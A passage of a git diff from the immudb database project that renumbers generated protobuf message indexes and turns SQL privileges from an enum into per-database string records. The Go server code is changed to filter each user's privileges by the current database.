switch v := v.(*ServerInfoResponse); i { case 0: return &v.state @@ -11876,7 +11876,7 @@ func file_schema_proto_init() { return nil } } - file_schema_proto_msgTypes[48].Exporter = func(v interface{}, i int) interface{} { + file_schema_proto_msgTypes[49].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*HealthResponse); i { case 0: return &v.state @@ -11888,7 +11888,7 @@ func file_schema_proto_init() { return nil } } - file_schema_proto_msgTypes[49].Exporter = func(v interface{}, i int) interface{} { + file_schema_proto_msgTypes[50].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*DatabaseHealthResponse); i { case 0: return &v.state @@ -11900,7 +11900,7 @@ func file_schema_proto_init() { return nil } } - file_schema_proto_msgTypes[50].Exporter = func(v interface{}, i int) interface{} { + file_schema_proto_msgTypes[51].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*ImmutableState); i { case 0: return &v.state @@ -11912,7 +11912,7 @@ func file_schema_proto_init() { return nil } } - file_schema_proto_msgTypes[51].Exporter = func(v interface{}, i int) interface{} { + file_schema_proto_msgTypes[52].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*ReferenceRequest); i { case 0: return &v.state @@ -11924,7 +11924,7 @@ func file_schema_proto_init() { return nil } } - file_schema_proto_msgTypes[52].Exporter = func(v interface{}, i int) interface{} { + file_schema_proto_msgTypes[53].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*VerifiableReferenceRequest); i { case 0: return &v.state @@ -11936,7 +11936,7 @@ func file_schema_proto_init() { return nil } } - file_schema_proto_msgTypes[53].Exporter = func(v interface{}, i int) interface{} { + file_schema_proto_msgTypes[54].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*ZAddRequest); i { case 0: return &v.state @@ -11948,7 +11948,7 @@ func file_schema_proto_init() { return nil } } - file_schema_proto_msgTypes[54].Exporter = func(v interface{}, i int) interface{} { + file_schema_proto_msgTypes[55].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*Score); i { case 0: return &v.state @@ -11960,7 +11960,7 @@ func file_schema_proto_init() { return nil } } - file_schema_proto_msgTypes[55].Exporter = func(v interface{}, i int) interface{} { + file_schema_proto_msgTypes[56].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*ZScanRequest); i { case 0: return &v.state @@ -11972,7 +11972,7 @@ func file_schema_proto_init() { return nil } } - file_schema_proto_msgTypes[56].Exporter = func(v interface{}, i int) interface{} { + file_schema_proto_msgTypes[57].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*HistoryRequest); i { case 0: return &v.state @@ -11984,7 +11984,7 @@ func file_schema_proto_init() { return nil } } - file_schema_proto_msgTypes[57].Exporter = func(v interface{}, i int) interface{} { + file_schema_proto_msgTypes[58].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*VerifiableZAddRequest); i { case 0: return &v.state @@ -11996,7 +11996,7 @@ func file_schema_proto_init() { return nil } } - file_schema_proto_msgTypes[58].Exporter = func(v interface{}, i int) interface{} { + file_schema_proto_msgTypes[59].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*TxRequest); i { case 0: return &v.state @@ -12008,7 +12008,7 @@ func file_schema_proto_init() { return nil } } - file_schema_proto_msgTypes[59].Exporter = func(v interface{}, i int) interface{} { + file_schema_proto_msgTypes[60].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*EntriesSpec); i { case 0: return &v.state @@ -12020,7 +12020,7 @@ func file_schema_proto_init() { return nil } } - file_schema_proto_msgTypes[60].Exporter = func(v interface{}, i int) interface{} { + file_schema_proto_msgTypes[61].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*EntryTypeSpec); i { case 0: return &v.state @@ -12032,7 +12032,7 @@ func file_schema_proto_init() { return nil } } - file_schema_proto_msgTypes[61].Exporter = func(v interface{}, i int) interface{} { + file_schema_proto_msgTypes[62].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*VerifiableTxRequest); i { case 0: return &v.state @@ -12044,7 +12044,7 @@ func file_schema_proto_init() { return nil } } - file_schema_proto_msgTypes[62].Exporter = func(v interface{}, i int) interface{} { + file_schema_proto_msgTypes[63].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*TxScanRequest); i { case 0: return &v.state @@ -12056,7 +12056,7 @@ func file_schema_proto_init() { return nil } } - file_schema_proto_msgTypes[63].Exporter = func(v interface{}, i int) interface{} { + file_schema_proto_msgTypes[64].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*TxList); i { case 0: return &v.state @@ -12068,7 +12068,7 @@ func file_schema_proto_init() { return nil } } - file_schema_proto_msgTypes[64].Exporter = func(v interface{}, i int) interface{} { + file_schema_proto_msgTypes[65].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*ExportTxRequest); i { case 0: return &v.state @@ -12080,7 +12080,7 @@ func file_schema_proto_init() { return nil } } - file_schema_proto_msgTypes[65].Exporter = func(v interface{}, i int) interface{} { + file_schema_proto_msgTypes[66].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*ReplicaState); i { case 0: return &v.state @@ -12092,7 +12092,7 @@ func file_schema_proto_init() { return nil } } - file_schema_proto_msgTypes[66].Exporter = func(v interface{}, i int) interface{} { + file_schema_proto_msgTypes[67].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*Database); i { case 0: return &v.state @@ -12104,7 +12104,7 @@ func file_schema_proto_init() { return nil } } - file_schema_proto_msgTypes[67].Exporter = func(v interface{}, i int) interface{} { + file_schema_proto_msgTypes[68].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*DatabaseSettings); i { case 0: return &v.state @@ -12116,7 +12116,7 @@ func file_schema_proto_init() { return nil } } - file_schema_proto_msgTypes[68].Exporter = func(v interface{}, i int) interface{} { + file_schema_proto_msgTypes[69].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*CreateDatabaseRequest); i { case 0: return &v.state @@ -12128,7 +12128,7 @@ func file_schema_proto_init() { return nil } } - file_schema_proto_msgTypes[69].Exporter = func(v interface{}, i int) interface{} { + file_schema_proto_msgTypes[70].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*CreateDatabaseResponse); i { case 0: return &v.state @@ -12140,7 +12140,7 @@ func file_schema_proto_init() { return nil } } - file_schema_proto_msgTypes[70].Exporter = func(v interface{}, i int) interface{} { + file_schema_proto_msgTypes[71].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*UpdateDatabaseRequest); i { case 0: return &v.state @@ -12152,7 +12152,7 @@ func file_schema_proto_init() { return nil } } - file_schema_proto_msgTypes[71].Exporter = func(v interface{}, i int) interface{} { + file_schema_proto_msgTypes[72].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*UpdateDatabaseResponse); i { case 0: return &v.state @@ -12164,7 +12164,7 @@ func file_schema_proto_init() { return nil } } - file_schema_proto_msgTypes[72].Exporter = func(v interface{}, i int) interface{} { + file_schema_proto_msgTypes[73].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*DatabaseSettingsRequest); i { case 0: return &v.state @@ -12176,7 +12176,7 @@ func file_schema_proto_init() { return nil } } - file_schema_proto_msgTypes[73].Exporter = func(v interface{}, i int) interface{} { + file_schema_proto_msgTypes[74].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*DatabaseSettingsResponse); i { case 0: return &v.state @@ -12188,7 +12188,7 @@ func file_schema_proto_init() { return nil } } - file_schema_proto_msgTypes[74].Exporter = func(v interface{}, i int) interface{} { + file_schema_proto_msgTypes[75].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*NullableUint32); i { case 0: return &v.state @@ -12200,7 +12200,7 @@ func file_schema_proto_init() { return nil } } - file_schema_proto_msgTypes[75].Exporter = func(v interface{}, i int) interface{} { + file_schema_proto_msgTypes[76].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*NullableUint64); i { case 0: return &v.state @@ -12212,7 +12212,7 @@ func file_schema_proto_init() { return nil } } - file_schema_proto_msgTypes[76].Exporter = func(v interface{}, i int) interface{} { + file_schema_proto_msgTypes[77].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*NullableFloat); i { case 0: return &v.state @@ -12224,7 +12224,7 @@ func file_schema_proto_init() { return nil } } - file_schema_proto_msgTypes[77].Exporter = func(v interface{}, i int) interface{} { + file_schema_proto_msgTypes[78].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*NullableBool); i { case 0: return &v.state @@ -12236,7 +12236,7 @@ func file_schema_proto_init() { return nil } } - file_schema_proto_msgTypes[78].Exporter = func(v interface{}, i int) interface{} { + file_schema_proto_msgTypes[79].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*NullableString); i { case 0: return &v.state @@ -12248,7 +12248,7 @@ func file_schema_proto_init() { return nil } } - file_schema_proto_msgTypes[79].Exporter = func(v interface{}, i int) interface{} { + file_schema_proto_msgTypes[80].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*NullableMilliseconds); i { case 0: return &v.state @@ -12260,7 +12260,7 @@ func file_schema_proto_init() { return nil } } - file_schema_proto_msgTypes[80].Exporter = func(v interface{}, i int) interface{} { + file_schema_proto_msgTypes[81].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*DatabaseNullableSettings); i { case 0: return &v.state @@ -12272,7 +12272,7 @@ func file_schema_proto_init() { return nil } } - file_schema_proto_msgTypes[81].Exporter = func(v interface{}, i int) interface{} { + file_schema_proto_msgTypes[82].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*ReplicationNullableSettings); i { case 0: return &v.state @@ -12284,7 +12284,7 @@ func file_schema_proto_init() { return nil } } - file_schema_proto_msgTypes[82].Exporter = func(v interface{}, i int) interface{} { + file_schema_proto_msgTypes[83].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*TruncationNullableSettings); i { case 0: return &v.state @@ -12296,7 +12296,7 @@ func file_schema_proto_init() { return nil } } - file_schema_proto_msgTypes[83].Exporter = func(v interface{}, i int) interface{} { + file_schema_proto_msgTypes[84].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*IndexNullableSettings); i { case 0: return &v.state @@ -12308,7 +12308,7 @@ func file_schema_proto_init() { return nil } } - file_schema_proto_msgTypes[84].Exporter = func(v interface{}, i int) interface{} { + file_schema_proto_msgTypes[85].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*AHTNullableSettings); i { case 0: return &v.state @@ -12320,7 +12320,7 @@ func file_schema_proto_init() { return nil } } - file_schema_proto_msgTypes[85].Exporter = func(v interface{}, i int) interface{} { + file_schema_proto_msgTypes[86].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*LoadDatabaseRequest); i { case 0: return &v.state @@ -12332,7 +12332,7 @@ func file_schema_proto_init() { return nil } } - file_schema_proto_msgTypes[86].Exporter = func(v interface{}, i int) interface{} { + file_schema_proto_msgTypes[87].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*LoadDatabaseResponse); i { case 0: return &v.state @@ -12344,7 +12344,7 @@ func file_schema_proto_init() { return nil } } - file_schema_proto_msgTypes[87].Exporter = func(v interface{}, i int) interface{} { + file_schema_proto_msgTypes[88].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*UnloadDatabaseRequest); i { case 0: return &v.state @@ -12356,7 +12356,7 @@ func file_schema_proto_init() { return nil } } - file_schema_proto_msgTypes[88].Exporter = func(v interface{}, i int) interface{} { + file_schema_proto_msgTypes[89].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*UnloadDatabaseResponse); i { case 0: return &v.state @@ -12368,7 +12368,7 @@ func file_schema_proto_init() { return nil } } - file_schema_proto_msgTypes[89].Exporter = func(v interface{}, i int) interface{} { + file_schema_proto_msgTypes[90].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*DeleteDatabaseRequest); i { case 0: return &v.state @@ -12380,7 +12380,7 @@ func file_schema_proto_init() { return nil } } - file_schema_proto_msgTypes[90].Exporter = func(v interface{}, i int) interface{} { + file_schema_proto_msgTypes[91].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*DeleteDatabaseResponse); i { case 0: return &v.state @@ -12392,7 +12392,7 @@ func file_schema_proto_init() { return nil } } - file_schema_proto_msgTypes[91].Exporter = func(v interface{}, i int) interface{} { + file_schema_proto_msgTypes[92].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*FlushIndexRequest); i { case 0: return &v.state @@ -12404,7 +12404,7 @@ func file_schema_proto_init() { return nil } } - file_schema_proto_msgTypes[92].Exporter = func(v interface{}, i int) interface{} { + file_schema_proto_msgTypes[93].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*FlushIndexResponse); i { case 0: return &v.state @@ -12416,7 +12416,7 @@ func file_schema_proto_init() { return nil } } - file_schema_proto_msgTypes[93].Exporter = func(v interface{}, i int) interface{} { + file_schema_proto_msgTypes[94].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*Table); i { case 0: return &v.state @@ -12428,7 +12428,7 @@ func file_schema_proto_init() { return nil } } - file_schema_proto_msgTypes[94].Exporter = func(v interface{}, i int) interface{} { + file_schema_proto_msgTypes[95].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*SQLGetRequest); i { case 0: return &v.state @@ -12440,7 +12440,7 @@ func file_schema_proto_init() { return nil } } - file_schema_proto_msgTypes[95].Exporter = func(v interface{}, i int) interface{} { + file_schema_proto_msgTypes[96].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*VerifiableSQLGetRequest); i { case 0: return &v.state @@ -12452,7 +12452,7 @@ func file_schema_proto_init() { return nil } } - file_schema_proto_msgTypes[96].Exporter = func(v interface{}, i int) interface{} { + file_schema_proto_msgTypes[97].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*SQLEntry); i { case 0: return &v.state @@ -12464,7 +12464,7 @@ func file_schema_proto_init() { return nil } } - file_schema_proto_msgTypes[97].Exporter = func(v interface{}, i int) interface{} { + file_schema_proto_msgTypes[98].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*VerifiableSQLEntry); i { case 0: return &v.state @@ -12476,7 +12476,7 @@ func file_schema_proto_init() { return nil } } - file_schema_proto_msgTypes[98].Exporter = func(v interface{}, i int) interface{} { + file_schema_proto_msgTypes[99].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*UseDatabaseReply); i { case 0: return &v.state @@ -12488,7 +12488,7 @@ func file_schema_proto_init() { return nil } } - file_schema_proto_msgTypes[99].Exporter = func(v interface{}, i int) interface{} { + file_schema_proto_msgTypes[100].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*ChangePermissionRequest); i { case 0: return &v.state @@ -12500,7 +12500,7 @@ func file_schema_proto_init() { return nil } } - file_schema_proto_msgTypes[100].Exporter = func(v interface{}, i int) interface{} { + file_schema_proto_msgTypes[101].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*ChangeSQLPrivilegesRequest); i { case 0: return &v.state @@ -12512,7 +12512,7 @@ func file_schema_proto_init() { return nil } } - file_schema_proto_msgTypes[101].Exporter = func(v interface{}, i int) interface{} { + file_schema_proto_msgTypes[102].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*ChangeSQLPrivilegesResponse); i { case 0: return &v.state @@ -12524,7 +12524,7 @@ func file_schema_proto_init() { return nil } } - file_schema_proto_msgTypes[102].Exporter = func(v interface{}, i int) interface{} { + file_schema_proto_msgTypes[103].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*SetActiveUserRequest); i { case 0: return &v.state @@ -12536,7 +12536,7 @@ func file_schema_proto_init() { return nil } } - file_schema_proto_msgTypes[103].Exporter = func(v interface{}, i int) interface{} { + file_schema_proto_msgTypes[104].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*DatabaseListResponse); i { case 0: return &v.state @@ -12548,7 +12548,7 @@ func file_schema_proto_init() { return nil } } - file_schema_proto_msgTypes[104].Exporter = func(v interface{}, i int) interface{} { + file_schema_proto_msgTypes[105].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*DatabaseListRequestV2); i { case 0: return &v.state @@ -12560,7 +12560,7 @@ func file_schema_proto_init() { return nil } } - file_schema_proto_msgTypes[105].Exporter = func(v interface{}, i int) interface{} { + file_schema_proto_msgTypes[106].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*DatabaseListResponseV2); i { case 0: return &v.state @@ -12572,7 +12572,7 @@ func file_schema_proto_init() { return nil } } - file_schema_proto_msgTypes[106].Exporter = func(v interface{}, i int) interface{} { + file_schema_proto_msgTypes[107].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*DatabaseInfo); i { case 0: return &v.state @@ -12584,7 +12584,7 @@ func file_schema_proto_init() { return nil } } - file_schema_proto_msgTypes[107].Exporter = func(v interface{}, i int) interface{} { + file_schema_proto_msgTypes[108].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*Chunk); i { case 0: return &v.state @@ -12596,7 +12596,7 @@ func file_schema_proto_init() { return nil } } - file_schema_proto_msgTypes[108].Exporter = func(v interface{}, i int) interface{} { + file_schema_proto_msgTypes[109].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*UseSnapshotRequest); i { case 0: return &v.state @@ -12608,7 +12608,7 @@ func file_schema_proto_init() { return nil } } - file_schema_proto_msgTypes[109].Exporter = func(v interface{}, i int) interface{} { + file_schema_proto_msgTypes[110].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*SQLExecRequest); i { case 0: return &v.state @@ -12620,7 +12620,7 @@ func file_schema_proto_init() { return nil } } - file_schema_proto_msgTypes[110].Exporter = func(v interface{}, i int) interface{} { + file_schema_proto_msgTypes[111].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*SQLQueryRequest); i { case 0: return &v.state @@ -12632,7 +12632,7 @@ func file_schema_proto_init() { return nil } } - file_schema_proto_msgTypes[111].Exporter = func(v interface{}, i int) interface{} { + file_schema_proto_msgTypes[112].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*NamedParam); i { case 0: return &v.state @@ -12644,7 +12644,7 @@ func file_schema_proto_init() { return nil } } - file_schema_proto_msgTypes[112].Exporter = func(v interface{}, i int) interface{} { + file_schema_proto_msgTypes[113].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*SQLExecResult); i { case 0: return &v.state @@ -12656,7 +12656,7 @@ func file_schema_proto_init() { return nil } } - file_schema_proto_msgTypes[113].Exporter = func(v interface{}, i int) interface{} { + file_schema_proto_msgTypes[114].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*CommittedSQLTx); i { case 0: return &v.state @@ -12668,7 +12668,7 @@ func file_schema_proto_init() { return nil } } - file_schema_proto_msgTypes[114].Exporter = func(v interface{}, i int) interface{} { + file_schema_proto_msgTypes[115].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*SQLQueryResult); i { case 0: return &v.state @@ -12680,7 +12680,7 @@ func file_schema_proto_init() { return nil } } - file_schema_proto_msgTypes[115].Exporter = func(v interface{}, i int) interface{} { + file_schema_proto_msgTypes[116].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*Column); i { case 0: return &v.state @@ -12692,7 +12692,7 @@ func file_schema_proto_init() { return nil } } - file_schema_proto_msgTypes[116].Exporter = func(v interface{}, i int) interface{} { + file_schema_proto_msgTypes[117].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*Row); i { case 0: return &v.state @@ -12704,7 +12704,7 @@ func file_schema_proto_init() { return nil } } - file_schema_proto_msgTypes[117].Exporter = func(v interface{}, i int) interface{} { + file_schema_proto_msgTypes[118].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*SQLValue); i { case 0: return &v.state @@ -12716,7 +12716,7 @@ func file_schema_proto_init() { return nil } } - file_schema_proto_msgTypes[118].Exporter = func(v interface{}, i int) interface{} { + file_schema_proto_msgTypes[119].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*NewTxRequest); i { case 0: return &v.state @@ -12728,7 +12728,7 @@ func file_schema_proto_init() { return nil } } - file_schema_proto_msgTypes[119].Exporter = func(v interface{}, i int) interface{} { + file_schema_proto_msgTypes[120].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*NewTxResponse); i { case 0: return &v.state @@ -12740,7 +12740,7 @@ func file_schema_proto_init() { return nil } } - file_schema_proto_msgTypes[120].Exporter = func(v interface{}, i int) interface{} { + file_schema_proto_msgTypes[121].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*ErrorInfo); i { case 0: return &v.state @@ -12752,7 +12752,7 @@ func file_schema_proto_init() { return nil } } - file_schema_proto_msgTypes[121].Exporter = func(v interface{}, i int) interface{} { + file_schema_proto_msgTypes[122].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*DebugInfo); i { case 0: return &v.state @@ -12764,7 +12764,7 @@ func file_schema_proto_init() { return nil } } - file_schema_proto_msgTypes[122].Exporter = func(v interface{}, i int) interface{} { + file_schema_proto_msgTypes[123].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*RetryInfo); i { case 0: return &v.state @@ -12776,7 +12776,7 @@ func file_schema_proto_init() { return nil } } - file_schema_proto_msgTypes[123].Exporter = func(v interface{}, i int) interface{} { + file_schema_proto_msgTypes[124].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*TruncateDatabaseRequest); i { case 0: return &v.state @@ -12788,7 +12788,7 @@ func file_schema_proto_init() { return nil } } - file_schema_proto_msgTypes[124].Exporter = func(v interface{}, i int) interface{} { + file_schema_proto_msgTypes[125].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*TruncateDatabaseResponse); i { case 0: return &v.state @@ -12800,7 +12800,7 @@ func file_schema_proto_init() { return nil } } - file_schema_proto_msgTypes[125].Exporter = func(v interface{}, i int) interface{} { + file_schema_proto_msgTypes[126].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*Precondition_KeyMustExistPrecondition); i { case 0: return &v.state @@ -12812,7 +12812,7 @@ func file_schema_proto_init() { return nil } } - file_schema_proto_msgTypes[126].Exporter = func(v interface{}, i int) interface{} { + file_schema_proto_msgTypes[127].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*Precondition_KeyMustNotExistPrecondition); i { case 0: return &v.state @@ -12824,7 +12824,7 @@ func file_schema_proto_init() { return nil } } - file_schema_proto_msgTypes[127].Exporter = func(v interface{}, i int) interface{} { + file_schema_proto_msgTypes[128].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*Precondition_KeyNotModifiedAfterTXPrecondition); i { case 0: return &v.state @@ -12837,17 +12837,17 @@ func file_schema_proto_init() { } } } - file_schema_proto_msgTypes[13].OneofWrappers = []interface{}{ + file_schema_proto_msgTypes[14].OneofWrappers = []interface{}{ (*Precondition_KeyMustExist)(nil), (*Precondition_KeyMustNotExist)(nil), (*Precondition_KeyNotModifiedAfterTX)(nil), } - file_schema_proto_msgTypes[17].OneofWrappers = []interface{}{ + file_schema_proto_msgTypes[18].OneofWrappers = []interface{}{ (*Op_Kv)(nil), (*Op_ZAdd)(nil), (*Op_Ref)(nil), } - file_schema_proto_msgTypes[117].OneofWrappers = []interface{}{ + file_schema_proto_msgTypes[118].OneofWrappers = []interface{}{ (*SQLValue_Null)(nil), (*SQLValue_N)(nil), (*SQLValue_S)(nil), @@ -12861,8 +12861,8 @@ func file_schema_proto_init() { File: protoimpl.DescBuilder{ GoPackagePath: reflect.TypeOf(x{}).PkgPath(), RawDescriptor: file_schema_proto_rawDesc, - NumEnums: 4, - NumMessages: 135, + NumEnums: 3, + NumMessages: 136, NumExtensions: 0, NumServices: 1, }, diff --git a/pkg/api/schema/schema.proto b/pkg/api/schema/schema.proto index 645784e5cc..191aaa230a 100644 --- a/pkg/api/schema/schema.proto +++ b/pkg/api/schema/schema.proto @@ -80,15 +80,12 @@ message User { repeated SQLPrivilege sqlPrivileges = 7; } -enum SQLPrivilege { - UNKNOWN = 0; - SELECT = 1; - CREATE = 2; - INSERT = 3; - UPDATE = 4; - DELETE = 5; - DROP = 6; - ALTER = 7; +message SQLPrivilege { + // Database name + string database = 1; + + // Privilege: SELECT, CREATE, INSERT, UPDATE, DELETE, DROP, ALTER + string privilege = 2; } message UserList { @@ -1367,8 +1364,8 @@ message ChangeSQLPrivilegesRequest { // Name of the database string database = 3; - // SQL privileges to grant / revoke - repeated SQLPrivilege privileges = 4; + // SQL privileges: SELECT, CREATE, INSERT, UPDATE, DELETE, DROP, ALTER + repeated string privileges = 4; } message ChangeSQLPrivilegesResponse {} diff --git a/pkg/api/schema/schema.swagger.json b/pkg/api/schema/schema.swagger.json index a8e6be9f80..86b2793ac2 100644 --- a/pkg/api/schema/schema.swagger.json +++ b/pkg/api/schema/schema.swagger.json @@ -1974,9 +1974,9 @@ "privileges": { "type": "array", "items": { - "$ref": "#/definitions/schemaSQLPrivilege" + "type": "string" }, - "title": "SQL privileges to grant / revoke" + "title": "SQL privileges: SELECT, CREATE, INSERT, UPDATE, DELETE, DROP, ALTER" } } }, @@ -3318,18 +3318,17 @@ } }, "schemaSQLPrivilege": { - "type": "string", - "enum": [ - "UNKNOWN", - "SELECT", - "CREATE", - "INSERT", - "UPDATE", - "DELETE", - "DROP", - "ALTER" - ], - "default": "UNKNOWN" + "type": "object", + "properties": { + "database": { + "type": "string", + "title": "Database name" + }, + "privilege": { + "type": "string", + "title": "Privilege: SELECT, CREATE, INSERT, UPDATE, DELETE, DROP, ALTER" + } + } }, "schemaSQLQueryRequest": { "type": "object", diff --git a/pkg/api/schema/sql.go b/pkg/api/schema/sql.go index 507909f440..74999b3189 100644 --- a/pkg/api/schema/sql.go +++ b/pkg/api/schema/sql.go @@ -17,7 +17,6 @@ limitations under the License. package schema import ( - "fmt" "time" "github.com/codenotary/immudb/embedded/sql" @@ -158,43 +157,3 @@ func TypedValueToRowValue(tv sql.TypedValue) *SQLValue { } return nil } - -func SQLPrivilegeToProto(p sql.SQLPrivilege) (SQLPrivilege, error) { - switch p { - case sql.SQLPrivilegeSelect: - return SQLPrivilege_SELECT, nil - case sql.SQLPrivilegeCreate: - return SQLPrivilege_CREATE, nil - case sql.SQLPrivilegeInsert: - return SQLPrivilege_INSERT, nil - case sql.SQLPrivilegeUpdate: - return SQLPrivilege_UPDATE, nil - case sql.SQLPrivilegeDelete: - return SQLPrivilege_DELETE, nil - case sql.SQLPrivilegeDrop: - return SQLPrivilege_DROP, nil - case sql.SQLPrivilegeAlter: - return SQLPrivilege_ALTER, nil - } - return SQLPrivilege_UNKNOWN, fmt.Errorf("invalid privilege") -} - -func SQLPrivilegeFromProto(p SQLPrivilege) sql.SQLPrivilege { - switch p { - case SQLPrivilege_SELECT: - return sql.SQLPrivilegeSelect - case SQLPrivilege_CREATE: - return sql.SQLPrivilegeCreate - case SQLPrivilege_INSERT: - return sql.SQLPrivilegeInsert - case SQLPrivilege_UPDATE: - return sql.SQLPrivilegeUpdate - case SQLPrivilege_DELETE: - return sql.SQLPrivilegeDelete - case SQLPrivilege_DROP: - return sql.SQLPrivilegeDrop - case SQLPrivilege_ALTER: - return sql.SQLPrivilegeAlter - } - return "" -} diff --git a/pkg/auth/user.go b/pkg/auth/user.go index 45267186c7..637cf9dff2 100644 --- a/pkg/auth/user.go +++ b/pkg/auth/user.go @@ -20,6 +20,8 @@ import ( "fmt" "regexp" "time" + + "github.com/codenotary/immudb/embedded/sql" ) // Permission per database @@ -170,3 +172,22 @@ func (u *User) RevokeSQLPrivileges(database string, privileges []string) bool { } return true } + +// SetSQLPrivileges sets user default privileges. Required to guarantee backward compatibility. +func (u *User) SetSQLPrivileges() { + if u.HasPrivileges { + return + } + + for _, perm := range u.Permissions { + privileges := sql.DefaultSQLPrivilegesForPermission(sql.PermissionFromCode(perm.Permission)) + for _, privilege := range privileges { + u.SQLPrivileges = append(u.SQLPrivileges, + SQLPrivilege{ + Database: perm.Database, + Privilege: string(privilege), + }, + ) + } + } +} diff --git a/pkg/server/multidb_handler.go b/pkg/server/multidb_handler.go index 3d86414397..2a4ab83c58 100644 --- a/pkg/server/multidb_handler.go +++ b/pkg/server/multidb_handler.go @@ -61,15 +61,19 @@ func (h *multidbHandler) GetLoggedUser(ctx context.Context) (sql.User, error) { return nil, err } - privileges := make([]sql.SQLPrivilege, len(user.SQLPrivileges)) - for i, p := range user.SQLPrivileges { - privileges[i] = sql.SQLPrivilege(p.Privilege) + isSysAdmin := user.Username == auth.SysAdminUsername + + privileges := make([]sql.SQLPrivilege, 0, len(user.SQLPrivileges)) + for _, p := range user.SQLPrivileges { + if isSysAdmin || p.Database == db.GetName() { + privileges = append(privileges, sql.SQLPrivilege(p.Privilege)) + } } permCode := user.WhichPermission(db.GetName()) return &User{ username: user.Username, - perm: permissionFromCode(permCode), + perm: sql.PermissionFromCode(permCode), sqlPrivileges: privileges, }, nil } @@ -106,44 +110,29 @@ func (h *multidbHandler) ListUsers(ctx context.Context) ([]sql.User, error) { } var perm *schema.Permission + isSysAdmin := string(user.User) == auth.SysAdminUsername - if string(user.User) == auth.SysAdminUsername { + if isSysAdmin { perm = &schema.Permission{Database: db.GetName()} } else { perm = findPermission(user.Permissions, db.GetName()) } - privileges := make([]sql.SQLPrivilege, len(user.SqlPrivileges)) - for i, p := range user.SqlPrivileges { - privileges[i] = schema.SQLPrivilegeFromProto(p) + privileges := make([]sql.SQLPrivilege, 0, len(user.SqlPrivileges)) + for _, p := range user.SqlPrivileges { + if isSysAdmin || p.Database == db.GetName() { + privileges = append(privileges, sql.SQLPrivilege(p.Privilege)) + } } if perm != nil { - users = append(users, &User{username: string(user.User), perm: permissionFromCode(perm.Permission), sqlPrivileges: privileges}) + users = append(users, &User{username: string(user.User), perm: sql.PermissionFromCode(perm.Permission), sqlPrivileges: privileges}) } } return users, nil } -func permissionFromCode(code uint32) sql.Permission { - switch code { - case 1: - { - return sql.PermissionReadOnly - } - case 2: - { - return sql.PermissionReadWrite - } - case 254: - { - return sql.PermissionAdmin - } - } - return sql.PermissionSysAdmin -} - func findPermission(permissions []*schema.Permission, database string) 